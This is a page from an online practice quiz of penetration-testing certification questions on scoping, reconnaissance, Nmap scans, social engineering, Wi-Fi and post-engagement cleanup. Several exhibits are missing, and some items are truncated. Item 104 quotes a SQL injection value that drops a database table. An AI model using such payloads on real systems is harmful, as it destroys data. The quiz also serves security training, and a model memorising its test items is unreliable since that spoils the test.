reverse-engineering team capable of analyzing binaries to develop proof-of-concept exploits. The software company has requested additional background investigations on the reverse- engineering team prior to approval of the subcontract.
Which of the following concerns would BEST support the software company's request?- AThe reverse-engineering team may have a history of selling exploits to third parties.
- BThe reverse-engineering team may use closed-source or other non-public information feeds for its analysis.
- CThe reverse-engineering team may not instill safety protocols sufficient for the automobile industry.
- DThe reverse-engineering team will be given access to source code for analysis.
99A penetration tester has been given eight business hours to gain access to a client's financial system.
Which of the following techniques will have the highest likelihood of success?- AAttempting to tailgate an employee going into the client's workplace
- BDropping a malicious USB key with the company's logo in the parking lot
- CUsing a brute-force attack against the external perimeter to gain a foothold
- DPerforming spear phishing against employees by posing as senior management
100The results of an Nmap scan are as follows:
Which of the following would be the BEST conclusion about this device?
- AThis device may be vulnerable to the Heartbleed bug due to the way transactions over TCP/22 handle heartbeat extension packets, allowing attackers to obtain sensitive information from process memory.
- BThis device is most likely a gateway with in-band management services.
- CThis device is most likely a proxy server forwarding requests over TCP/443.
- DThis device may be vulnerable to remote code execution because of a butter overflow vulnerability in the method used to extract DNS names from packets prior to DNSSEC validation.
101Which of the following BEST describes why a client would hold a lessons-learned meeting with the penetration-testing team?
- ATo provide feedback on the report structure and recommend improvements
- BTo discuss the findings and dispute any false positives
- CTo determine any processes that failed to meet expectations during the assessment
- DTo ensure the penetration-testing team destroys all company data that was gathered during the test
102A penetration tester who is performing a physical assessment of a company's security practices notices the company does not have any shredders inside the office building. Which of the following techniques would be BEST to use to gain
- ABadge cloning
- BDumpster diving
- CTailgating
- DShoulder surfing
103The results of an Nmap scan are as follows:
Starting Nmap 7.80 ( https://nmap.org ) at 2021-01-24 01:10 EST
Nmap scan report for ( 10.2.1.22 )
Host is up (0.0102s latency).
Not shown: 998 filtered ports
Port State Service
80/tcp open http
|_http-title: 80F 22% RH 1009.1MB (text/html)
|_http-slowloris-check:
| VULNERABLE:
| Slowloris DoS Attack
| <..>
Device type: bridge|general purpose
Running (JUST GUESSING) : QEMU (95%)
OS CPE: cpe:/a:qemu:qemu
No exact OS matches found for host (test conditions non-ideal).
OS detection performed. Please report any incorrect results at https://nmap.org/submit/.
Nmap done: 1 IP address (1 host up) scanned in 107.45 seconds
Which of the following device types will MOST likely have a similar response? (Choose two.)- ANetwork device
- BPublic-facing web server
- CActive Directory domain controller
- DIoT/embedded device
- EExposed RDP
- FPrint queue
104A penetration tester conducted an assessment on a web server. The logs from this session show the following: http://www.thecompanydomain.com/servicestatus.php?serviceID=892&serviceID=892 ' ; DROP TABLE SERVICES; -- Which of the following attacks is being attempted?
- AClickjacking
- BSession hijacking
- CParameter pollution
- DCookie hijacking
- ECross-site scripting
105An assessment has been completed, and all reports and evidence have been turned over to the client. Which of the following should be done NEXT to ensure the confidentiality of the client's information?
- AFollow the established data retention and destruction process
- BReport any findings to regulatory oversight groups
- CPublish the findings after the client reviews the report
- DEncrypt and store any client information for future analysis
106During a penetration-testing engagement, a consultant performs reconnaissance of a client to identify potential targets for a phishing campaign. Which of the following would allow the consultant to retrieve email addresses for technical and billing contacts quickly, without triggering any of the client's cybersecurity tools? (Choose two.)
- AScraping social media sites
- BUsing the WHOIS lookup tool
- CCrawling the client's website
- DPhishing company employees
- EUtilizing DNS lookup tools
- FConducting wardriving near the client facility
107A company is concerned that its cloud service provider is not adequately protecting the VMs housing its software development. The VMs are housed in a datacenter with other companies sharing physical resources. Which of the following attack types is MOST concerning to the company?
- AData flooding
- BSession riding
- CCybersquatting
- DSide channel
108Which of the following commands will allow a penetration tester to permit a shell script to be executed by the file owner?
- Achmod u+x script.sh
- Bchmod u+e script.sh
- Cchmod o+e script.sh
- Dchmod o+x script.sh
109A compliance-based penetration test is primarily concerned with:
- Aobtaining Pll from the protected network.
- Bbypassing protection on edge devices.
- Cdetermining the efficacy of a specific set of security standards.
- Dobtaining specific information from the protected network.
110A penetration tester is explaining the MITRE ATT&CK framework to a company's chief legal counsel.
Which of the following would the tester MOST likely describe as a benefit of the framework?- AUnderstanding the tactics of a security intrusion can help disrupt them.
- BScripts that are part of the framework can be imported directly into SIEM tools.
- CThe methodology can be used to estimate the cost of an incident better.
- DThe framework is static and ensures stability of a security program overtime.
111A company obtained permission for a vulnerability scan from its cloud service provider and now wants to test the security of its hosted data.
Which of the following should the tester verify FIRST to assess this risk?- AWhether sensitive client data is publicly accessible
- BWhether the connection between the cloud and the client is secure
- CWhether the client's employees are trained properly to use the platform
- DWhether the cloud applications were developed using a secure SDLC
112A Chief Information Security Officer wants a penetration tester to evaluate the security awareness level of the company's employees.
Which of the following tools can help the tester achieve this goal?- AMetasploit
- BHydra
- CSET
- DWPScan
113Which of the following is the MOST common vulnerability associated with IoT devices that are directly connected to the Internet?
- AUnsupported operating systems
- BSusceptibility to DDoS attacks
- CInability to network
- DThe existence of default passwords
114Which of the following describes the reason why a penetration tester would run the command sdelete mimikatz. * on a Windows server that the tester compromised?
- ATo remove hash-cracking registry entries
- BTo remove the tester-created Mimikatz account
- CTo remove tools from the server
- DTo remove a reverse shell from the system
115A penetration tester was brute forcing an internal web server and ran a command that produced the following output:
However, when the penetration tester tried to browse the URL http://172.16.100.10:3000/profile, ablank page was displayed.
Which of the following is the MOST likely reason for the lack of output?
- AThe HTTP port is not open on the firewall.
- BThe tester did not run sudo before the command.
- CThe web server is using HTTPS instead of HTTP.
- DThis URI returned a server error.
116An Nmap scan shows open ports on web servers and databases. A penetration tester decides to run WPScan and SQLmap to identify vulnerabilities and additional information about those systems.
Which of the following is the penetration tester trying to accomplish?- AUncover potential criminal activity based on the evidence gathered.
- BIdentity all the vulnerabilities in the environment.
- CLimit invasiveness based on scope.
- DMaintain confidentiality of the findings.
117A company hired a penetration tester to do a social-engineering test against its employees. Although the tester did not find any employees' phone numbers on the company's website, the tester has learned the complete phone catalog was published there a few months ago.
In which of the following places should the penetration tester look FIRST for the employees' numbers?- AWeb archive
- BGitHub
- CFile metadata
- DUnderground forums
118A penetration tester completed a vulnerability scan against a web server and identified a single but severe vulnerability.
Which of the following is the BEST way to ensure this is a true positive?- ARun another scanner to compare.
- BPerform a manual test on the server.
- CCheck the results on the scanner.
- DLook for the vulnerability online.
119A company's Chief Executive Officer has created a secondary home office and is concerned that the WiFi service being used is vulnerable to an attack. A penetration tester is hired to test the security of the WiFi's router.
Which of the following is MOST vulnerable to a brute-force attack?- AWPS
- BWPA2-EAP
- CWPA-TKIP
- DWPA2-PSK
120A penetration tester ran the following commands on a Windows server:
Which of the following should the tester do AFTER delivering the final report?
- ADelete the scheduled batch job.
- BClose the reverse shell connection.
- CDowngrade the svsaccount permissions.
- DRemove the tester-created credentials.
121A penetration tester is starting an assessment but only has publicly available information about the target company. The client is aware of this exercise and is preparing for the test.
Which of the following describes the scope of the assessment?- APartially known environment testing
- BKnown environment testing
- CUnknown environment testing
- DPhysical environment testing
122The following line-numbered Python code snippet is being used in reconnaissance:
Which of the following line numbers from the script MOST likely contributed to the script triggering a "probable port scan" alert in the organization's IDS?
- ALine 01
- BLine 02
- CLine 07
- DLine 08
123A consulting company is completing the ROE during scoping.
Which of the following should be included in the ROE?- ACost ofthe assessment
- BReport distribution
- CTesting restrictions
- DLiability
124A new client hired a penetration-testing company for a month-long contract for various security assessments against the client's new service. The client is expecting to make the new service publicly available shortly after the assessment is complete and is planning to fix any findings, except for critical issues, after the service is made public. The client wants a simple report structure and does not want to receive daily findings.
Which of the following is most important for the penetration tester to define FIRST?- AEstablish the format required by the client.
- BEstablish the threshold of risk to escalate to the client immediately.
- CEstablish the method of potential false positives.
- DEstablish the preferred day of the week for reporting.
125A penetration tester has been hired to perform a physical penetration test to gain access to a secure room within a client's building. Exterior reconnaissance identifies two entrances, a WiFi guest network, and multiple security cameras connected to the Internet.
Which of the following tools or techniques would BEST support additional reconnaissance?- AWardriving
- BShodan
- CRecon-ng
- DAircrack-ng
126A penetration tester conducts an Nmap scan against a target and receives the following results:
Which of the following should the tester use to redirect the scanning tools using TCP port 1080 on the target?
- ANessus
- BProxyChains
- COWASPZAP
- DEmpire
127A penetration tester received a .pcap file to look for credentials to use in an engagement.
Which of the following tools should the tester utilize to open and read the .pcap file?- ANmap
- BWireshark
- CMetasploit
- DNetcat
128A penetration tester has been given an assignment to attack a series of targets in the 192.168.1.0/24 range, triggering as few alarms and countermeasures as possible.
Which of the following Nmap scan syntaxes would BEST accomplish this objective?- Anmap -sT -vvv -O 192.168.1.2/24 -PO
- Bnmap -sV 192.168.1.2/24 -PO
- Cnmap -sA -v -O 192.168.1.2/24
- Dnmap -sS -O 192.168.1.2/24 -T1
129A penetration tester has gained access to a network device that has a previously unknown IP range on an interface. Further research determines this is an always-on VPN tunnel to a third-party supplier.
Which of the following is the BEST action for the penetration tester to take?- AUtilize the tunnel as a means of pivoting to other internal devices.
- BDisregard the IP range, as it is out of scope.
- CStop the assessment and inform the emergency contact.
- DScan the IP range for additional systems to exploit.
130A security company has been contracted to perform a scoped insider-threat assessment to try to gain access to the human resources server that houses PII and salary dat a. The penetration testers have been given an internal network starting position.
Which of the following actions, if performed, would be ethical within the scope of the assessment?- AExploiting a configuration weakness in the SQL database
- BIntercepting outbound TLS traffic
- CGaining access to hosts by injecting malware into the enterprise-wide update server
- DLeveraging a vulnerability on the internal CA to issue fraudulent client certificates
- EEstablishing and maintaining persistence on the domain controller
131A penetration tester is able to capture the NTLM challenge-response traffic between a client and a server.
Which of the following can be done with the pcap to gain access to the server?- APerform vertical privilege escalation.
- BReplay the captured traffic to the server to recreate the session.
- CUse John the Ripper to crack the password.
- DUtilize a pass-the-hash attack.
132A penetration tester was able to gather MD5 hashes from a server and crack the hashes easily with rainbow tables.
Which of the following should be included as a recommendation in the remediation report?- AStronger algorithmic requirements
- BAccess controls on the server
- CEncryption on the user passwords
- DA patch management program
133A penetration tester found the following valid URL while doing a manual assessment of a web application: http://www.example.com/product.php?id=123987.
Which of the following automated tools would be best to use NEXT to try to identify a vulnerability in this URL?- ASQLmap
- BNessus
- CNikto
- DDirBuster
134A penetration tester is attempting to discover live hosts on a subnet quickly.
Which of the following commands will perform a ping scan?- Anmap -sn 10.12.1.0/24
- Bnmap -sV -A 10.12.1.0/24
- Cnmap -Pn 10.12.1.0/24
- Dnmap -sT -p- 10.12.1.0/24
135Which of the following tools would be MOST useful in collecting vendor and other security-relevant information for IoT devices to support passive reconnaissance?
- AShodan
- BNmap
- CWebScarab-NG
- DNessus
136A company has hired a penetration tester to deploy and set up a rogue access point on the network.
Which of the following is the BEST tool to use to accomplish this goal?- AWireshark
- BAircrack-ng
- CKismet
- DWifite
137HOTSPOT
You are a security analyst tasked with hardening a web server.
You have been given a list of HTTP payloads that were flagged as malicious.
INSTRUCTIONS
Given the following attack signatures, determine the attack type, and then identify the associated remediation to prevent the attack in the future.
If at any time you would like to bring back the initial state of the simulation, please click the Reset All button.- AA
- BB
- CC
- DD
- EE
- FF
- GG
- AA
Information
- Description
- Quiz on pto-002, created by мушенька фушенька on 21/10/2022.
- Author
- мушенька фушенька
- Language
- English
- Views
- 1
- Rating
- No ratings yet Rate this quiz